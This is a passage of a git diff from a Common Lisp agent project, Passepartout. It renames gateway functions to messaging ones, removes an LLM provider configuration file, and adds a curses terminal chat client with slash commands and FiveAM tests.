(getf config :thread)
|
||||
(bt:thread-alive-p (getf config :thread)))))
|
||||
|
||||
(defun gateway-link (platform token)
|
||||
(defun messaging-link (platform token)
|
||||
"Links a platform with a token and starts polling."
|
||||
(let ((platform-lc (string-downcase platform)))
|
||||
(unless (gethash platform-lc *gateway-registry*)
|
||||
@@ -123,7 +127,7 @@
|
||||
platform (loop for k being the hash-keys of *gateway-registry* collect k)))
|
||||
(when (or (null token) (zerop (length token)))
|
||||
(error "Token cannot be empty"))
|
||||
(log-message "GATEWAY: Linking to ~a..." platform-lc)
|
||||
(log-message "MESSAGING: Linking to ~a..." platform-lc)
|
||||
(gateway-unlink platform-lc)
|
||||
(let* ((registry-entry (gethash platform-lc *gateway-registry*))
|
||||
(interval (or (getf registry-entry :default-interval) 5)))
|
||||
@@ -131,16 +135,16 @@
|
||||
(list :token token :interval interval :enabled t))
|
||||
(vault-set-secret (intern (string-upcase platform-lc) :keyword) token)
|
||||
(gateway-start platform-lc)
|
||||
(log-message "GATEWAY: Successfully linked ~a" platform-lc)
|
||||
(log-message "MESSAGING: Successfully linked ~a" platform-lc)
|
||||
(format t "Successfully linked ~a gateway. Token stored securely.~%" platform-lc)
|
||||
t)))
|
||||
|
||||
(defun gateway-unlink (platform)
|
||||
(defun messaging-unlink (platform)
|
||||
"Unlinks a platform and stops its polling thread."
|
||||
(let ((platform-lc (string-downcase platform)))
|
||||
(gateway-stop platform-lc)
|
||||
(remhash platform-lc *gateway-configs*)
|
||||
(log-message "GATEWAY: Unlinked ~a" platform-lc)
|
||||
(log-message "MESSAGING: Unlinked ~a" platform-lc)
|
||||
(format t "Successfully unlinked ~a gateway.~%" platform-lc)
|
||||
t))
|
||||
|
||||
@@ -160,7 +164,7 @@
|
||||
(funcall poll-fn))
|
||||
(sleep interval)))
|
||||
:name (format nil "passepartout-~a-gateway" platform-lc)))
|
||||
(log-message "GATEWAY: Started ~a polling (interval: ~as)" platform-lc interval)))))))))
|
||||
(log-message "MESSAGING: Started ~a polling (interval: ~as)" platform-lc interval))))))))
|
||||
|
||||
(defun gateway-stop (platform)
|
||||
"Stops the polling thread for a gateway."
|
||||
@@ -168,11 +172,11 @@
|
||||
(let ((config (gethash platform-lc *gateway-configs*)))
|
||||
(when (and config (getf config :thread))
|
||||
(when (bt:thread-alive-p (getf config :thread))
|
||||
(log-message "GATEWAY: Stopping ~a polling thread" platform-lc)
|
||||
(log-message "MESSAGING: Stopping ~a polling thread" platform-lc)
|
||||
(bt:destroy-thread (getf config :thread))))
|
||||
(setf (getf config :thread) nil))))
|
||||
|
||||
(defun gateway-list ()
|
||||
(defun messaging-list ()
|
||||
"Returns a list of all gateways with their status."
|
||||
(loop for platform being the hash-keys of *gateway-registry*
|
||||
collect (let ((configured (gateway-configured-p platform))
|
||||
@@ -181,11 +185,11 @@
|
||||
:configured configured
|
||||
:active active))))
|
||||
|
||||
(defun gateway-list-print ()
|
||||
(defun messaging-list-print ()
|
||||
"Prints a formatted table of gateways."
|
||||
(format t "~%")
|
||||
(format t " ~20@A ~12@A ~10@A~%" "PLATFORM" "CONFIGURED" "STATUS")
|
||||
(dolist (gw (gateway-list))
|
||||
(dolist (gw (messaging-list))
|
||||
(format t " ~20@A ~12@A ~10@A~%"
|
||||
(getf gw :platform)
|
||||
(if (getf gw :configured) "yes" "no")
|
||||
@@ -206,9 +210,36 @@
|
||||
(register-actuator :telegram #'telegram-send)
|
||||
(register-actuator :signal #'signal-send)
|
||||
|
||||
(defskill :passepartout-gateway-manager
|
||||
(defskill :passepartout-gateway-messaging
|
||||
:priority 150
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
|
||||
(gateway-registry-initialize)
|
||||
(gateway-start-all)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-gateway-messaging-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:messaging-suite))
|
||||
|
||||
(in-package :passepartout-gateway-messaging-tests)
|
||||
|
||||
(def-suite messaging-suite :description "Verification of Gateway Messaging")
|
||||
(in-suite messaging-suite)
|
||||
|
||||
(test test-gateway-registry-initialize
|
||||
"Contract 1: gateway-registry-initialize populates the registry with :configured key."
|
||||
;; Access the variable via its skill package symbol-value
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.GATEWAY-MESSAGING"))
|
||||
(reg-var (and pkg (find-symbol "*GATEWAY-REGISTRY*" pkg))))
|
||||
(when reg-var
|
||||
(clrhash (symbol-value reg-var))
|
||||
(gateway-registry-initialize)
|
||||
(is (not (zerop (hash-table-count (symbol-value reg-var)))))
|
||||
(let ((entry (gethash "telegram" (symbol-value reg-var))))
|
||||
(is (getf entry :poll-fn))
|
||||
(is (getf entry :send-fn))
|
||||
(is (getf entry :default-interval))
|
||||
(is (eq nil (getf entry :configured)))))))
|
||||
@@ -1,81 +0,0 @@
|
||||
(defparameter *provider-configs*
|
||||
'((:ollama . (:base-url nil :key-env nil :default-model "llama3"))
|
||||
(:openrouter . (:base-url "https://openrouter.ai/api/v1" :key-env "OPENROUTER_API_KEY" :default-model "openrouter/auto"))
|
||||
(:openai . (:base-url "https://api.openai.com/v1" :key-env "OPENAI_API_KEY" :default-model "gpt-4o-mini"))
|
||||
(:anthropic . (:base-url "https://api.anthropic.com/v1" :key-env "ANTHROPIC_API_KEY" :default-model "claude-3-5-sonnet-20241022"))
|
||||
(:groq . (:base-url "https://api.groq.com/openai/v1" :key-env "GROQ_API_KEY" :default-model "llama-3.1-70b-versatile"))
|
||||
(:gemini . (:base-url "https://generativelanguage.googleapis.com/v1beta/openai" :key-env "GEMINI_API_KEY" :default-model "gemini-2.0-flash"))
|
||||
(:deepseek . (:base-url "https://api.deepseek.com/v1" :key-env "DEEPSEEK_API_KEY" :default-model "deepseek-chat"))
|
||||
(:nvidia . (:base-url "https://integrate.api.nvidia.com/v1" :key-env "NVIDIA_API_KEY" :default-model "meta/llama-3.1-405b-instruct"))))
|
||||
|
||||
(defun provider-config (provider)
|
||||
"Returns the configuration plist for a provider keyword."
|
||||
(cdr (assoc provider *provider-configs*)))
|
||||
|
||||
(defun provider-available-p (provider)
|
||||
"Checks if a provider is configured. Ollama is always considered available."
|
||||
(let* ((config (provider-config provider))
|
||||
(key-env (getf config :key-env))
|
||||
(base-url (getf config :base-url)))
|
||||
(cond ((eq provider :ollama) t)
|
||||
(key-env (let ((key (uiop:getenv key-env))) (and key (> (length key) 0))))
|
||||
(base-url t))))
|
||||
|
||||
(defun provider-openai-request (prompt system-prompt &key model (provider :ollama))
|
||||
"Executes a request against any OpenAI-compatible API endpoint."
|
||||
(let* ((config (provider-config provider))
|
||||
(base-url (getf config :base-url))
|
||||
(key-env (getf config :key-env))
|
||||
(default-model (getf config :default-model))
|
||||
(api-key (when key-env (uiop:getenv key-env)))
|
||||
(model-id (or model default-model))
|
||||
(url (if (eq provider :ollama)
|
||||
(format nil "http://~a/v1/chat/completions" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434"))
|
||||
(format nil "~a/chat/completions" base-url)))
|
||||
(headers `(("Content-Type" . "application/json")
|
||||
,@(when api-key `(("Authorization" . ,(format nil "Bearer ~a" api-key))))
|
||||
,@(when (eq provider :openrouter)
|
||||
`(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout")
|
||||
("X-Title" . "Passepartout")))))
|
||||
(body (cl-json:encode-json-to-string
|
||||
`((model . ,model-id)
|
||||
(messages . (( (role . "system") (content . ,system-prompt) )
|
||||
( (role . "user") (content . ,prompt) )))))))
|
||||
(handler-case
|
||||
(let* ((response (dex:post url :headers headers :content body :connect-timeout 10 :read-timeout 60))
|
||||
(json (cl-json:decode-json-from-string response))
|
||||
(choices (cdr (assoc :choices json)))
|
||||
(first-choice (car choices))
|
||||
(message (cdr (assoc :message first-choice)))
|
||||
(content (cdr (assoc :content message))))
|
||||
(if content
|
||||
(list :status :success :content content)
|
||||
(list :status :error :message (format nil "~a: No content in response (~s)" provider json))))
|
||||
(error (c)
|
||||
(list :status :error :message (format nil "~a Failure: ~a" provider c))))))
|
||||
|
||||
(defun provider-register-all ()
|
||||
"Scans environment variables and registers all available LLM backends."
|
||||
(dolist (entry *provider-configs*)
|
||||
(let ((provider (car entry)))
|
||||
(when (provider-available-p provider)
|
||||
(log-message "LLM BACKEND: Registering provider ~a" provider)
|
||||
(register-probabilistic-backend provider
|
||||
(lambda (prompt system-prompt &key model)
|
||||
(provider-openai-request prompt system-prompt :model model :provider provider)))))))
|
||||
|
||||
(defun provider-cascade-initialize ()
|
||||
"Reads PROVIDER_CASCADE from env and sets *provider-cascade*."
|
||||
(let ((cascade-str (uiop:getenv "PROVIDER_CASCADE")))
|
||||
(if cascade-str
|
||||
(setf *provider-cascade*
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword))
|
||||
(uiop:split-string cascade-str :separator '(#\,))))
|
||||
(setf *provider-cascade* (mapcar #'car *provider-configs*)))))
|
||||
|
||||
(provider-register-all)
|
||||
(provider-cascade-initialize)
|
||||
|
||||
(defskill :passepartout-gateway-provider
|
||||
:priority 50
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
449
lisp/gateway-tui-main.lisp
Normal file
449
lisp/gateway-tui-main.lisp
Normal file
@@ -0,0 +1,449 @@
|
||||
(in-package :passepartout.gateway-tui)
|
||||
|
||||
(defun on-key (&rest args)
|
||||
;; Normalize: get-char returns raw ncurses integer codes (e.g. 263 for
|
||||
;; backspace). Croatoan's code-key + key-name convert them to keywords
|
||||
;; so the cond below can use eq.
|
||||
(let* ((raw (car args))
|
||||
(ch (if (and (integerp raw) (> raw 255))
|
||||
(let* ((k (code-key raw))
|
||||
(name (and k (key-name k))))
|
||||
(or name raw))
|
||||
raw)))
|
||||
(cond
|
||||
;; Enter
|
||||
((or (eq ch :enter) (eql ch 13) (eql ch 10)
|
||||
(eql ch #\Newline) (eql ch #\Return))
|
||||
;; Multi-line: if buffer ends with \, strip it and insert newline
|
||||
(if (and (st :input-buffer) (eql (first (st :input-buffer)) #\\))
|
||||
(progn (pop (st :input-buffer))
|
||||
(push #\Newline (st :input-buffer))
|
||||
(setf (st :dirty) (list nil nil t)))
|
||||
(let ((text (string-trim '(#\Space #\Tab) (input-string))))
|
||||
(when (> (length text) 0)
|
||||
(push text (st :input-history))
|
||||
(setf (st :input-hpos) 0)
|
||||
(setf (st :scroll-offset) 0)
|
||||
(cond
|
||||
;; /help command
|
||||
((string-equal text "/help")
|
||||
(add-msg :system
|
||||
"/eval <expr> Evaluate Lisp expression")
|
||||
(add-msg :system
|
||||
"/focus <proj> Set project context")
|
||||
(add-msg :system
|
||||
"/scope <s> Change scope (memex/session/project)")
|
||||
(add-msg :system
|
||||
"/unfocus Pop context stack")
|
||||
(add-msg :system
|
||||
"/theme Show current color theme")
|
||||
(add-msg :system
|
||||
"/help Show this help")
|
||||
(add-msg :system
|
||||
"\\ + Enter Multi-line input"))
|
||||
;; /theme command
|
||||
((string-equal text "/theme")
|
||||
(add-msg :system
|
||||
(format nil "Theme: user=~a agent=~a system=~a input=~a"
|
||||
(getf *tui-theme* :user)
|
||||
(getf *tui-theme* :agent)
|
||||
(getf *tui-theme* :system)
|
||||
(getf *tui-theme* :input))))
|
||||
;; /eval command
|
||||
((and (>= (length text) 6)
|
||||
(string-equal (subseq text 0 6) "/eval "))
|
||||
(handler-case
|
||||
(let* ((*read-eval* t)
|
||||
(*package* (find-package :passepartout.gateway-tui))
|
||||
(r (eval (read-from-string (subseq text 6)))))
|
||||
(add-msg :system (format nil "=> ~s" r)))
|
||||
(error (c) (add-msg :system (format nil "=> ✗ ~a" c)))))
|
||||
;; /focus <project> — set project context
|
||||
((and (>= (length text) 7)
|
||||
(string-equal (subseq text 0 7) "/focus "))
|
||||
(let ((project (string-trim '(#\Space) (subseq text 7))))
|
||||
(if (and (fboundp 'focus-project) (> (length project) 0))
|
||||
(progn (funcall 'focus-project project nil)
|
||||
(add-msg :system (format nil "Focused on project: ~a" project)))
|
||||
(add-msg :system "Usage: /focus <project-name>"))))
|
||||
;; /scope <scope> — change context scope
|
||||
((and (>= (length text) 7)
|
||||
(string-equal (subseq text 0 7) "/scope "))
|
||||
(let ((scope-str (string-trim '(#\Space) (subseq text 7))))
|
||||
(cond
|
||||
((and (fboundp 'focus-session) (string-equal scope-str "session"))
|
||||
(funcall 'focus-session)
|
||||
(add-msg :system "Scope: session"))
|
||||
((and (fboundp 'focus-project) (string-equal scope-str "project"))
|
||||
(funcall 'focus-project nil nil)
|
||||
(add-msg :system "Scope: project"))
|
||||
((and (fboundp 'focus-memex) (string-equal scope-str "memex"))
|
||||
(funcall 'focus-memex)
|
||||
(add-msg :system "Scope: memex"))
|
||||
(t (add-msg :system "Usage: /scope memex|session|project")))))
|
||||
;; /unfocus — pop context
|
||||
((and (>= (length text) 8)
|
||||
(string-equal (subseq text 0 8) "/unfocus"))
|
||||
(if (fboundp 'unfocus)
|
||||
(progn (funcall 'unfocus)
|
||||
(add-msg :system "Popped context"))
|
||||
(add-msg :system "Context manager not loaded")))
|
||||
;; Normal message
|
||||
(t
|
||||
(add-msg :user text)
|
||||
(setf (st :busy) t)
|
||||
(send-daemon (list :type :event
|
||||
:payload (list :sensor :user-input :text text)))))
|
||||
(setf (st :input-buffer) nil)
|
||||
(setf (st :dirty) (list t t t))))))
|
||||
;; Tab — command completion
|
||||
((or (eql ch 9) (eq ch :tab))
|
||||
(let ((text (input-string)))
|
||||
(when (and (> (length text) 1) (eql (char text 0) #\/))
|
||||
(let* ((cmds '("/eval" "/focus" "/scope" "/unfocus" "/help" "/theme"))
|
||||
(match (find text cmds :test
|
||||
(lambda (in cmd)
|
||||
(and (>= (length cmd) (length in))
|
||||
(string-equal cmd in :end1 (length in)))))))
|
||||
(when match
|
||||
(setf (st :input-buffer) (reverse (coerce match 'list)))
|
||||
(when (member match '("/eval" "/focus" "/scope") :test #'string=)
|
||||
(push #\Space (st :input-buffer)))
|
||||
(setf (st :dirty) (list nil nil t)))))))
|
||||
;; Backspace
|
||||
((or (eq ch :backspace) (eql ch 127) (eql ch 8)
|
||||
(eql ch #\Backspace))
|
||||
(when (st :input-buffer) (pop (st :input-buffer)))
|
||||
(setf (st :dirty) (list nil nil t)))
|
||||
;; Up arrow
|
||||
((or (eq ch :up) (eql ch 259))
|
||||
(let* ((h (st :input-history)) (p (st :input-hpos)))
|
||||
(when (and h (< p (1- (length h))))
|
||||
(incf (st :input-hpos))
|
||||
(setf (st :input-buffer)
|
||||
(reverse (coerce (nth (st :input-hpos) h) 'list)))
|
||||
(setf (st :dirty) (list nil nil t)))))
|
||||
;; Down arrow
|
||||
((or (eq ch :down) (eql ch 258))
|
||||
(when (> (st :input-hpos) 0)
|
||||
(decf (st :input-hpos))
|
||||
(let ((h (st :input-history)))
|
||||
(setf (st :input-buffer)
|
||||
(if (and h (< (st :input-hpos) (length h)))
|
||||
(reverse (coerce (nth (st :input-hpos) h) 'list))
|
||||
nil))
|
||||
(setf (st :dirty) (list nil nil t)))))
|
||||
;; PageUp
|
||||
((or (eq ch :ppage) (eql ch 339))
|
||||
(incf (st :scroll-offset) 5)
|
||||
(setf (st :dirty) (list nil t nil)))
|
||||
;; PageDown
|
||||
((or (eq ch :npage) (eql ch 338))
|
||||
(setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 5)))
|
||||
(setf (st :dirty) (list nil t nil)))
|
||||
;; Printable
|
||||
(t
|
||||
(let ((chr (typecase ch
|
||||
(character ch)
|
||||
(integer (code-char ch))
|
||||
(t nil))))
|
||||
(when (and chr (graphic-char-p chr))
|
||||
(push chr (st :input-buffer))
|
||||
(setf (st :dirty) (list nil nil t))))))))
|
||||
|
||||
(defun on-daemon-msg (msg)
|
||||
(let* ((payload (getf msg :payload))
|
||||
(text (getf payload :text))
|
||||
(action (getf payload :action)))
|
||||
(cond
|
||||
(text (setf (st :busy) nil)
|
||||
(add-msg :agent text))
|
||||
((eq action :handshake)
|
||||
(add-msg :system (format nil "Connected v~a" (getf payload :version))))
|
||||
(t (add-msg :agent (format nil "~a" msg))))))
|
||||
|
||||
(defun send-daemon (msg)
|
||||
(let ((s (st :stream)))
|
||||
(when (and s (open-stream-p s))
|
||||
(handler-case
|
||||
(progn
|
||||
(format s "~a" (frame-message msg))
|
||||
(finish-output s))
|
||||
(error () nil)))))
|
||||
|
||||
(defun recv-daemon (s)
|
||||
(handler-case
|
||||
(let* ((hdr (make-string 6)) (n 0))
|
||||
(loop while (< n 6)
|
||||
do (let ((ch (read-char s nil)))
|
||||
(unless ch (return-from recv-daemon nil))
|
||||
(setf (char hdr n) ch) (incf n)))
|
||||
(let* ((len (parse-integer hdr :radix 16 :junk-allowed t))
|
||||
(buf (make-string (or len 0))))
|
||||
(when (and len (> len 0))
|
||||
(loop for i from 0 below len
|
||||
do (let ((ch (read-char s nil)))
|
||||
(unless ch (return-from recv-daemon nil))
|
||||
(setf (char buf i) ch)))
|
||||
(let ((*read-eval* nil))
|
||||
(read-from-string buf)))))
|
||||
(error () nil)))
|
||||
|
||||
(defun reader-loop (s)
|
||||
(loop while (and (st :running) (open-stream-p s))
|
||||
do (let ((msg (recv-daemon s)))
|
||||
(if msg
|
||||
(queue-event (list :type :daemon :payload msg))
|
||||
(sleep 0.5)))))
|
||||
|
||||
(defun connect-daemon (&optional (host "127.0.0.1") (port 9105))
|
||||
(add-msg :system "* Connecting to daemon... *")
|
||||
(loop for attempt from 1 to 3
|
||||
for backoff = 0 then 3
|
||||
do (sleep backoff)
|
||||
(handler-case
|
||||
(let ((s (usocket:socket-connect host port :timeout 5)))
|
||||
(setf (st :stream) (usocket:socket-stream s)
|
||||
(st :connected) t)
|
||||
(bt:make-thread (lambda () (reader-loop (st :stream)))
|
||||
:name "tui-reader")
|
||||
(add-msg :system (format nil "* Connected v~a *" "0.3.0"))
|
||||
(return-from connect-daemon t))
|
||||
(usocket:connection-refused-error (c)
|
||||
(when (= attempt 3)
|
||||
(add-msg :system (format nil "* No daemon on port ~a after ~a attempts *"
|
||||
port attempt))))
|
||||
(error (c)
|
||||
(add-msg :system (format nil "* Connection attempt ~a failed: ~a *"
|
||||
attempt c))
|
||||
(when (= attempt 3)
|
||||
(add-msg :system "* TIP: run 'passepartout daemon' first *")))))
|
||||
nil)
|
||||
|
||||
(defun disconnect-daemon ()
|
||||
(when (st :stream)
|
||||
(ignore-errors (close (st :stream)))
|
||||
(setf (st :stream) nil (st :connected) nil)
|
||||
(add-msg :system "* Disconnected *")))
|
||||
|
||||
(defun tui-main ()
|
||||
(init-state)
|
||||
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
|
||||
(let* ((h (or (height scr) 24))
|
||||
(w (or (width scr) 80))
|
||||
(sw (make-instance 'window :height 3 :width (- w 2) :y 0 :x 1))
|
||||
(ch (- h 5))
|
||||
(cw (make-instance 'window :height ch :width (- w 2) :y 3 :x 1))
|
||||
(iw (make-instance 'window :height 1 :width (- w 2) :y (- h 1) :x 1))
|
||||
(swank-port (or (ignore-errors
|
||||
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
|
||||
4006)))
|
||||
(setf (function-keys-enabled-p iw) t
|
||||
(input-blocking iw) nil
|
||||
(st :dirty) (list t t t))
|
||||
(connect-daemon)
|
||||
(when (> swank-port 0)
|
||||
(handler-case
|
||||
(progn
|
||||
(ql:quickload :swank :silent t)
|
||||
(funcall (find-symbol "CREATE-SERVER" "SWANK")
|
||||
:port swank-port :dont-close t)
|
||||
(add-msg :system
|
||||
(format nil "* Swank ~d M-x slime-connect *" swank-port)))
|
||||
(error ()
|
||||
(add-msg :system "* Swank unavailable *"))))
|
||||
;; Initial render before the main loop — otherwise the screen stays
|
||||
;; blank until the first keystroke (get-char blocks).
|
||||
(redraw sw cw ch iw)
|
||||
(refresh scr)
|
||||
(loop while (st :running) do
|
||||
(dolist (ev (drain-queue))
|
||||
(when (eq (getf ev :type) :daemon)
|
||||
(on-daemon-msg (getf ev :payload))))
|
||||
(let ((ch (get-char iw)))
|
||||
(when (and ch (not (equal ch -1)))
|
||||
(on-key ch)))
|
||||
(redraw sw cw ch iw)
|
||||
(refresh scr)
|
||||
(sleep 0.03))
|
||||
(disconnect-daemon))))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-tui-tests
|
||||
(:use :cl :passepartout :passepartout.gateway-tui)
|
||||
(:export #:tui-suite))
|
||||
|
||||
(in-package :passepartout-tui-tests)
|
||||
|
||||
(fiveam:def-suite tui-suite :description "Verification of the TUI model and event handling")
|
||||
(fiveam:in-suite tui-suite)
|
||||
|
||||
(fiveam:test test-init-state
|
||||
"Contract model.1: init-state returns fresh state plist with required keys."
|
||||
(init-state)
|
||||
(fiveam:is (eq t (st :running)))
|
||||
(fiveam:is (eq :chat (st :mode)))
|
||||
(fiveam:is (eq nil (st :connected)))
|
||||
(fiveam:is (eq nil (st :stream)))
|
||||
(fiveam:is (eq nil (st :messages)))
|
||||
(fiveam:is (eq 0 (st :scroll-offset)))
|
||||
(fiveam:is (eq nil (st :busy))))
|
||||
|
||||
(fiveam:test test-add-msg
|
||||
"Contract model.2: add-msg appends a message with role, content, and time."
|
||||
(init-state)
|
||||
(add-msg :user "hello")
|
||||
(let* ((msgs (st :messages))
|
||||
(msg (first msgs)))
|
||||
(fiveam:is (eq :user (getf msg :role)))
|
||||
(fiveam:is (string= "hello" (getf msg :content)))
|
||||
(fiveam:is (stringp (getf msg :time)))
|
||||
(fiveam:is (= 5 (length (getf msg :time))))))
|
||||
|
||||
(fiveam:test test-add-msg-dirty-flag
|
||||
"Contract model.2: add-msg sets dirty flags for status and chat."
|
||||
(init-state)
|
||||
(setf (st :dirty) (list nil nil nil))
|
||||
(add-msg :system "boot")
|
||||
(let ((dirty (st :dirty)))
|
||||
(fiveam:is (eq t (first dirty)))
|
||||
(fiveam:is (eq t (second dirty)))
|
||||
(fiveam:is (eq nil (third dirty)))))
|
||||
|
||||
(fiveam:test test-queue-event-roundtrip
|
||||
"Contract model.3: queue-event + drain-queue preserves events in order."
|
||||
(init-state)
|
||||
(queue-event '(:type :key :payload (:ch 13)))
|
||||
(queue-event '(:type :daemon :payload (:text "hi")))
|
||||
(let ((evs (drain-queue)))
|
||||
(fiveam:is (= 2 (length evs)))
|
||||
(fiveam:is (equal '(:type :key :payload (:ch 13)) (first evs)))
|
||||
(fiveam:is (equal '(:type :daemon :payload (:text "hi")) (second evs)))
|
||||
(fiveam:is (null (drain-queue)))))
|
||||
|
||||
(fiveam:test test-on-key-enter-sends-user-message
|
||||
"Contract 1: on-key with Enter extracts input, adds user message, clears buffer."
|
||||
(init-state)
|
||||
;; Simulate typing "test"
|
||||
(dolist (ch '(#\t #\e #\s #\t))
|
||||
(on-key (char-code ch)))
|
||||
(fiveam:is (string= "test" (input-string)))
|
||||
;; Simulate Enter key — ncurses returns 343 (KEY_ENTER) when keypad is enabled
|
||||
(on-key 343)
|
||||
;; Input buffer should be cleared
|
||||
(fiveam:is (string= "" (input-string)))
|
||||
;; A user message should be in the message list
|
||||
(let ((msgs (st :messages)))
|
||||
(fiveam:is (>= (length msgs) 1))
|
||||
(let ((last (first msgs)))
|
||||
(fiveam:is (eq :user (getf last :role)))
|
||||
(fiveam:is (string= "test" (getf last :content))))))
|
||||
|
||||
(fiveam:test test-on-key-eval-command
|
||||
"Contract 1: on-key handles /eval command and displays result."
|
||||
(init-state)
|
||||
;; Type "/eval (+ 1 2)"
|
||||
(dolist (ch (coerce "/eval (+ 1 2)" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msgs (st :messages)))
|
||||
(fiveam:is (>= (length msgs) 1))
|
||||
(let ((last-msg (first msgs)))
|
||||
(fiveam:is (eq :system (getf last-msg :role)))
|
||||
(fiveam:is (search "=> 3" (getf last-msg :content))))))
|
||||
|
||||
(fiveam:test test-on-key-backspace
|
||||
"Contract 1: on-key with Backspace removes last character from buffer."
|
||||
(init-state)
|
||||
(dolist (ch '(#\a #\b #\c))
|
||||
(on-key (char-code ch)))
|
||||
(fiveam:is (string= "abc" (input-string)))
|
||||
;; ncurses returns 263 (KEY_BACKSPACE) when keypad is enabled
|
||||
(on-key 263)
|
||||
(fiveam:is (string= "ab" (input-string))))
|
||||
|
||||
(fiveam:test test-on-key-focus-command
|
||||
"Contract 1: /focus command parses project name."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/focus myapp" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msg (first (st :messages))))
|
||||
(fiveam:is (eq :system (getf msg :role)))))
|
||||
|
||||
(fiveam:test test-on-key-scope-command
|
||||
"Contract 1: /scope command with valid argument."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/scope memex" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msg (first (st :messages))))
|
||||
(fiveam:is (eq :system (getf msg :role)))))
|
||||
|
||||
(fiveam:test test-on-key-unfocus-command
|
||||
"Contract 1: /unfocus command dispatches correctly."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/unfocus" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msg (first (st :messages))))
|
||||
(fiveam:is (eq :system (getf msg :role)))))
|
||||
|
||||
(fiveam:test test-on-key-tab-completion
|
||||
"Contract 1: Tab completes / commands when input starts with /."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/ev" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 9)
|
||||
(fiveam:is (string= "/eval " (input-string))))
|
||||
|
||||
(fiveam:test test-on-key-tab-no-slash
|
||||
"Contract 1: Tab does nothing when input doesn't start with /."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "hello" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 9)
|
||||
(fiveam:is (string= "hello" (input-string))))
|
||||
|
||||
(fiveam:test test-on-key-multiline
|
||||
"Contract 1: \\ + Enter inserts newline instead of sending."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "line1" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key (char-code #\\))
|
||||
(on-key 343)
|
||||
(fiveam:is (search "line1" (input-string)))
|
||||
(fiveam:is (search (string #\Newline) (input-string))))
|
||||
|
||||
(fiveam:test test-on-key-help
|
||||
"Contract 1: /help displays command list."
|
||||
(init-state)
|
||||
(dolist (ch (coerce "/help" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(let ((msgs (st :messages)))
|
||||
(fiveam:is (>= (length msgs) 3))
|
||||
(fiveam:is (some (lambda (m) (search "/eval" (getf m :content))) msgs))))
|
||||
|
||||
(fiveam:test test-activity-indicator
|
||||
"Contract model: :busy flag is set on send and cleared on agent response."
|
||||
(init-state)
|
||||
(fiveam:is (eq nil (st :busy)))
|
||||
;; Simulate sending a normal message (sets busy)
|
||||
(dolist (ch (coerce "hello" 'list))
|
||||
(on-key (char-code ch)))
|
||||
(on-key 343)
|
||||
(fiveam:is (eq t (st :busy)))
|
||||
;; Simulate receiving an agent response (clears busy)
|
||||
(on-daemon-msg '(:type :event :payload (:text "hi back")))
|
||||
(fiveam:is (eq nil (st :busy))))
|
||||
|
||||
(fiveam:test test-theme
|
||||
"Contract view: *tui-theme* provides color mappings."
|
||||
(fiveam:is (eq :green (getf *tui-theme* :user)))
|
||||
(fiveam:is (eq :white (getf *tui-theme* :agent)))
|
||||
(fiveam:is (eq :yellow (getf *tui-theme* :system)))
|
||||
(fiveam:is (eq :cyan (getf *tui-theme* :input)))
|
||||
(fiveam:is (eq :white (theme-color :unknown-role))))
|
||||
52
lisp/gateway-tui-model.lisp
Normal file
52
lisp/gateway-tui-model.lisp
Normal file
@@ -0,0 +1,52 @@
|
||||
(defpackage :passepartout.gateway-tui
|
||||
(:use :cl :croatoan :passepartout :usocket :bordeaux-threads)
|
||||
(:export :tui-main :st :add-msg :now :input-string
|
||||
:queue-event :drain-queue :init-state
|
||||
:view-status :view-chat :view-input :redraw
|
||||
:on-key :on-daemon-msg :send-daemon
|
||||
:connect-daemon :disconnect-daemon
|
||||
:*tui-theme* :theme-color))
|
||||
(in-package :passepartout.gateway-tui)
|
||||
|
||||
(defvar *state* nil)
|
||||
(defvar *event-queue* nil)
|
||||
(defvar *event-lock* (bt:make-lock "tui-event-lock"))
|
||||
|
||||
(defvar *tui-theme*
|
||||
'(:user :green :agent :white :system :yellow :input :cyan
|
||||
:connected :green :disconnected :red :timestamp :yellow)
|
||||
"Color theme plist. Keys are semantic roles, values are Croatoan colors.")
|
||||
|
||||
(defun theme-color (role)
|
||||
"Returns the Croatoan color for a semantic role."
|
||||
(or (getf *tui-theme* role) :white))
|
||||
|
||||
(defun st (key) (getf *state* key))
|
||||
(defun (setf st) (val key) (setf (getf *state* key) val))
|
||||
|
||||
(defun init-state ()
|
||||
(setf *state*
|
||||
(list :running t :mode :chat :connected nil :stream nil
|
||||
:input-buffer nil :input-history nil :input-hpos 0
|
||||
:messages nil :scroll-offset 0 :busy nil
|
||||
:dirty (list nil nil nil))))
|
||||
|
||||
(defun now ()
|
||||
(multiple-value-bind (s m h) (get-decoded-time)
|
||||
(declare (ignore s))
|
||||
(format nil "~2,'0d:~2,'0d" h m)))
|
||||
|
||||
(defun input-string ()
|
||||
(coerce (reverse (st :input-buffer)) 'string))
|
||||
|
||||
(defun add-msg (role content)
|
||||
(push (list :role role :content content :time (now)) (st :messages))
|
||||
